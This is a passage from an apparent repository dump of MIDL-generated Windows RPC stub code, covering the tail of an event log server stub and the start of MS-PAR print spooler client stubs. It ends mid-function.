&__midl_frag16,\n    &__midl_frag20,\n    &__midl_frag29,\n    &__midl_frag29,\n    &__midl_frag34,\n    &__midl_frag39,\n    &__midl_frag49,\n    &__midl_frag59,\n    &__midl_frag68,\n    &__midl_frag82,\n    &__midl_frag110,\n    &__midl_frag119,\n    &__midl_frag123,\n    &__midl_frag133,\n    &__midl_frag143,\n    &__midl_frag152,\n    &__midl_frag166,\n    &__midl_frag204,\n    &__midl_frag204,\n    &__midl_frag204,\n    &__midl_frag193,\n    &__midl_frag204,\n    &__midl_frag205,\n    &__midl_frag230,\n    &__midl_frag253\n    };\n\n\n#ifdef __cplusplus\nnamespace {\n#endif\nstatic const MIDL_STUB_DESC eventlog_StubDesc = \n    {\n    (void *)& eventlog___RpcServerInterface,\n    MIDL_user_allocate,\n    MIDL_user_free,\n    0,\n    RundownRoutines,\n    0,\n    0,\n    0,\n    ms2Deven__MIDL_TypeFormatString.Format,\n    1, /* -error bounds_check flag */\n    0x60001, /* Ndr library version */\n    0,\n    0x8010274, /* MIDL Version 8.1.628 */\n    0,\n    0,\n    0,  /* notify & notify_flag routine table */\n    0x2000001, /* MIDL flag */\n    0, /* cs routines */\n    (void *)& eventlog_ServerInfo,   /* proxy/server info */\n    0\n    };\n#ifdef __cplusplus\n}\n#endif\n\nstatic const RPC_DISPATCH_FUNCTION eventlog_NDR64__table[] =\n    {\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    0\n    };\nstatic const RPC_DISPATCH_TABLE eventlog_NDR64__v0_0_DispatchTable = \n    {\n    27,\n    (RPC_DISPATCH_FUNCTION*)eventlog_NDR64__table\n    };\n\nstatic const MIDL_SYNTAX_INFO eventlog_SyntaxInfo [  2 ] = \n    {\n    {\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    (RPC_DISPATCH_TABLE*)&eventlog_v0_0_DispatchTable,\n    ms2Deven__MIDL_ProcFormatString.Format,\n    eventlog_FormatStringOffsetTable,\n    ms2Deven__MIDL_TypeFormatString.Format,\n    0,\n    0,\n    0\n    }\n    ,{\n    {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}},\n    (RPC_DISPATCH_TABLE*)&eventlog_NDR64__v0_0_DispatchTable,\n    0 ,\n    (unsigned short *) eventlog_Ndr64ProcTable,\n    0,\n    0,\n    0,\n    0\n    }\n    };\n\n\nstatic const SERVER_ROUTINE eventlog_ServerRoutineTable[] = \n    {\n    (SERVER_ROUTINE)ElfrClearELFW,\n    (SERVER_ROUTINE)ElfrBackupELFW,\n    (SERVER_ROUTINE)ElfrCloseEL,\n    (SERVER_ROUTINE)ElfrDeregisterEventSource,\n    (SERVER_ROUTINE)ElfrNumberOfRecords,\n    (SERVER_ROUTINE)ElfrOldestRecord,\n    (SERVER_ROUTINE)ElfrChangeNotify,\n    (SERVER_ROUTINE)ElfrOpenELW,\n    (SERVER_ROUTINE)ElfrRegisterEventSourceW,\n    (SERVER_ROUTINE)ElfrOpenBELW,\n    (SERVER_ROUTINE)ElfrReadELW,\n    (SERVER_ROUTINE)ElfrReportEventW,\n    (SERVER_ROUTINE)ElfrClearELFA,\n    (SERVER_ROUTINE)ElfrBackupELFA,\n    (SERVER_ROUTINE)ElfrOpenELA,\n    (SERVER_ROUTINE)ElfrRegisterEventSourceA,\n    (SERVER_ROUTINE)ElfrOpenBELA,\n    (SERVER_ROUTINE)ElfrReadELA,\n    (SERVER_ROUTINE)ElfrReportEventA,\n    (SERVER_ROUTINE)Opnum19NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum20NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum21NotUsedOnWire,\n    (SERVER_ROUTINE)ElfrGetLogInformation,\n    (SERVER_ROUTINE)Opnum23NotUsedOnWire,\n    (SERVER_ROUTINE)ElfrReportEventAndSourceW,\n    (SERVER_ROUTINE)ElfrReportEventExW,\n    (SERVER_ROUTINE)ElfrReportEventExA\n    };\n\nstatic const MIDL_SERVER_INFO eventlog_ServerInfo = \n    {\n    &eventlog_StubDesc,\n    eventlog_ServerRoutineTable,\n    ms2Deven__MIDL_ProcFormatString.Format,\n    (unsigned short *) eventlog_FormatStringOffsetTable,\n    0,\n    (RPC_SYNTAX_IDENTIFIER*)&_NDR64_RpcTransferSyntax_1_0,\n    2,\n    (MIDL_SYNTAX_INFO*)eventlog_SyntaxInfo\n    };\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#endif\n\n\n#endif /* defined(_M_AMD64)*/\n\n"
  },
  {
    "path": "rpc_interfaces/ms-par_c.c",
    "content": "\n\n/* this ALWAYS GENERATED file contains the RPC client stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-par.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n\n#pragma warning( disable: 4211 )  /* redefine extern to static */\n#pragma warning( disable: 4232 )  /* dllimport identity*/\n#pragma warning( disable: 4024 )  /* array to pointer mapping*/\n\n#include <string.h>\n\n#include \"ms-par_h.h\"\n\n#define TYPE_FORMAT_STRING_SIZE   3835                              \n#define PROC_FORMAT_STRING_SIZE   4715                              \n#define EXPR_FORMAT_STRING_SIZE   33                                \n#define TRANSMIT_AS_TABLE_SIZE    0            \n#define WIRE_MARSHAL_TABLE_SIZE   0            \n\ntypedef struct _ms2Dpar_MIDL_TYPE_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];\n    } ms2Dpar_MIDL_TYPE_FORMAT_STRING;\n\ntypedef struct _ms2Dpar_MIDL_PROC_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];\n    } ms2Dpar_MIDL_PROC_FORMAT_STRING;\n\ntypedef struct _ms2Dpar_MIDL_EXPR_FORMAT_STRING\n    {\n    long          Pad;\n    unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];\n    } ms2Dpar_MIDL_EXPR_FORMAT_STRING;\n\n\nstatic const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax_2_0 = \n{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};\n\nstatic const RPC_SYNTAX_IDENTIFIER  _NDR64_RpcTransferSyntax_1_0 = \n{{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}};\n\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define XFG_TRAMPOLINES(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_TRAMPOLINES64(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize64_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize64(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree64_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree64(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\\\nstatic void* ObjectType ## _bind_XFG(HandleType pObject)\\\n{\\\nreturn ObjectType ## _bind((ObjectType) pObject);\\\n}\\\nstatic void ObjectType ## _unbind_XFG(HandleType pObject, handle_t ServerHandle)\\\n{\\\nObjectType ## _unbind((ObjectType) pObject, ServerHandle);\\\n}\n#define XFG_TRAMPOLINE_FPTR(Function) Function ## _XFG\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol ## _XFG\n#else\n#define XFG_TRAMPOLINES(ObjectType)\n#define XFG_TRAMPOLINES64(ObjectType)\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\n#define XFG_TRAMPOLINE_FPTR(Function) Function\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol\n#endif\n\n\n\nextern const ms2Dpar_MIDL_TYPE_FORMAT_STRING ms2Dpar__MIDL_TypeFormatString;\nextern const ms2Dpar_MIDL_PROC_FORMAT_STRING ms2Dpar__MIDL_ProcFormatString;\nextern const ms2Dpar_MIDL_EXPR_FORMAT_STRING ms2Dpar__MIDL_ExprFormatString;\n\n#define GENERIC_BINDING_TABLE_SIZE   0            \n\n\n/* Standard interface: IRemoteWinspool, ver. 1.0,\n   GUID={0x76f03f96,0xcdfd,0x44fc,{0xa2,0x2c,0x64,0x95,0x0a,0x00,0x12,0x09}} */\n\n extern const MIDL_STUBLESS_PROXY_INFO IRemoteWinspool_ProxyInfo;\n\n\nstatic const RPC_CLIENT_INTERFACE IRemoteWinspool___RpcClientInterface =\n    {\n    sizeof(RPC_CLIENT_INTERFACE),\n    {{0x76f03f96,0xcdfd,0x44fc,{0xa2,0x2c,0x64,0x95,0x0a,0x00,0x12,0x09}},{1,0}},\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    0,\n    0,\n    0,\n    0,\n    &IRemoteWinspool_ProxyInfo,\n    0x02000000\n    };\nRPC_IF_HANDLE IRemoteWinspool_v1_0_c_ifspec = (RPC_IF_HANDLE)& IRemoteWinspool___RpcClientInterface;\n#ifdef __cplusplus\nnamespace {\n#endif\n\nextern const MIDL_STUB_DESC IRemoteWinspool_StubDesc;\n#ifdef __cplusplus\n}\n#endif\n\nstatic RPC_BINDING_HANDLE IRemoteWinspool__MIDL_AutoBindHandle;\n\n\nDWORD RpcAsyncOpenPrinter( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pPrinterName,\n    /* [out] */ PRINTER_HANDLE *pHandle,\n    /* [unique][string][in] */ wchar_t *pDatatype,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ DWORD AccessRequired,\n    /* [in] */ SPLCLIENT_CONTAINER *pClientInfo)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  0,\n                  0,\n                  hRemoteBinding,\n                  pPrinterName,\n                  pHandle,\n                  pDatatype,\n                  pDevModeContainer,\n                  AccessRequired,\n                  pClientInfo);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncAddPrinter( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [in] */ PRINTER_CONTAINER *pPrinterContainer,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ SECURITY_CONTAINER *pSecurityContainer,\n    /* [in] */ SPLCLIENT_CONTAINER *pClientInfo,\n    /* [out] */ PRINTER_HANDLE *pHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  1,\n                  0,\n                  hRemoteBinding,\n                  pName,\n                  pPrinterContainer,\n                  pDevModeContainer,\n                  pSecurityContainer,\n                  pClientInfo,\n                  pHandle);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncSetJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [unique][in] */ JOB_CONTAINER *pJobContainer,\n    /* [in] */ DWORD Command)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  2,\n                  0,\n                  hPrinter,\n                  JobId,\n                  pJobContainer,\n                  Command);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncGetJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pJob,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  3,\n                  0,\n                  hPrinter,\n                  JobId,\n                  Level,\n                  pJob,\n                  cbBuf,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEnumJobs( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD FirstJob,\n    /* [in] */ DWORD NoJobs,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pJob,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  4,\n                  0,\n                  hPrinter,\n                  FirstJob,\n                  NoJobs,\n                  Level,\n                  pJob,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncAddJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pAddJob,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  5,\n                  0,\n                  hPrinter,\n                  Level,\n                  pAddJob,\n                  cbBuf,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncScheduleJob( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  6,\n                  0,\n                  hPrinter,\n                  JobId);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncDeletePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  7,\n                  0,\n                  hPrinter);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncSetPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ PRINTER_CONTAINER *pPrinterContainer,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,\n    /* [in] */ SECURITY_CONTAINER *pSecurityContainer,\n    /* [in] */ DWORD Command)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  8,\n                  0,\n                  hPrinter,\n                  pPrinterContainer,\n                  pDevModeContainer,\n                  pSecurityContainer,\n                  Command);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncGetPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pPrinter,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  9,\n                  0,\n                  hPrinter,\n                  Level,\n                  pPrinter,\n                  cbBuf,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncStartDocPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DOC_INFO_CONTAINER *pDocInfoContainer,\n    /* [out] */ DWORD *pJobId)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  10,\n                  0,\n                  hPrinter,\n                  pDocInfoContainer,\n                  pJobId);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncStartPagePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  11,\n                  0,\n                  hPrinter);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncWritePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [size_is][in] */ unsigned char *pBuf,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcWritten)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  12,\n                  0,\n                  hPrinter,\n                  pBuf,\n                  cbBuf,\n                  pcWritten);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEndPagePrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  13,\n                  0,\n                  hPrinter);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEndDocPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  14,\n                  0,\n                  hPrinter);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncAbortPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  15,\n                  0,\n                  hPrinter);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncGetPrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pValueName,\n    /* [out] */ DWORD *pType,\n    /* [size_is][out] */ unsigned char *pData,\n    /* [in] */ DWORD nSize,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  16,\n                  0,\n                  hPrinter,\n                  pValueName,\n                  pType,\n                  pData,\n                  nSize,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncGetPrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [string][in] */ const wchar_t *pValueName,\n    /* [out] */ DWORD *pType,\n    /* [size_is][out] */ unsigned char *pData,\n    /* [in] */ DWORD nSize,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  17,\n                  0,\n                  hPrinter,\n                  pKeyName,\n                  pValueName,\n                  pType,\n                  pData,\n                  nSize,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncSetPrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pValueName,\n    /* [in] */ DWORD Type,\n    /* [size_is][in] */ unsigned char *pData,\n    /* [in] */ DWORD cbData)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  18,\n                  0,\n                  hPrinter,\n                  pValueName,\n                  Type,\n                  pData,\n                  cbData);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncSetPrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [string][in] */ const wchar_t *pValueName,\n    /* [in] */ DWORD Type,\n    /* [size_is][in] */ unsigned char *pData,\n    /* [in] */ DWORD cbData)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  19,\n                  0,\n                  hPrinter,\n                  pKeyName,\n                  pValueName,\n                  Type,\n                  pData,\n                  cbData);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncClosePrinter( \n    /* [out][in] */ PRINTER_HANDLE *phPrinter)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  20,\n                  0,\n                  phPrinter);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncAddForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ FORM_CONTAINER *pFormInfoContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  21,\n                  0,\n                  hPrinter,\n                  pFormInfoContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncDeleteForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pFormName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  22,\n                  0,\n                  hPrinter,\n                  pFormName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncGetForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pFormName,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pForm,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  23,\n                  0,\n                  hPrinter,\n                  pFormName,\n                  Level,\n                  pForm,\n                  cbBuf,\n                  pcbNeeded);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncSetForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pFormName,\n    /* [in] */ FORM_CONTAINER *pFormInfoContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  24,\n                  0,\n                  hPrinter,\n                  pFormName,\n                  pFormInfoContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEnumForms( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pForm,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  25,\n                  0,\n                  hPrinter,\n                  Level,\n                  pForm,\n                  cbBuf,\n                  pcbNeeded,\n                  pcReturned);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncGetPrinterDriver( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pDriver,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [in] */ DWORD dwClientMajorVersion,\n    /* [in] */ DWORD dwClientMinorVersion,\n    /* [out] */ DWORD *pdwServerMaxVersion,\n    /* [out] */ DWORD *pdwServerMinVersion)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  26,\n                  0,\n                  hPrinter,\n                  pEnvironment,\n                  Level,\n                  pDriver,\n                  cbBuf,\n                  pcbNeeded,\n                  dwClientMajorVersion,\n                  dwClientMinorVersion,\n                  pdwServerMaxVersion,\n                  pdwServerMinVersion);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEnumPrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD dwIndex,\n    /* [size_is][out] */ wchar_t *pValueName,\n    /* [in] */ DWORD cbValueName,\n    /* [out] */ DWORD *pcbValueName,\n    /* [out] */ DWORD *pType,\n    /* [size_is][out] */ unsigned char *pData,\n    /* [in] */ DWORD cbData,\n    /* [out] */ DWORD *pcbData)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  27,\n                  0,\n                  hPrinter,\n                  dwIndex,\n                  pValueName,\n                  cbValueName,\n                  pcbValueName,\n                  pType,\n                  pData,\n                  cbData,\n                  pcbData);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEnumPrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [size_is][out] */ unsigned char *pEnumValues,\n    /* [in] */ DWORD cbEnumValues,\n    /* [out] */ DWORD *pcbEnumValues,\n    /* [out] */ DWORD 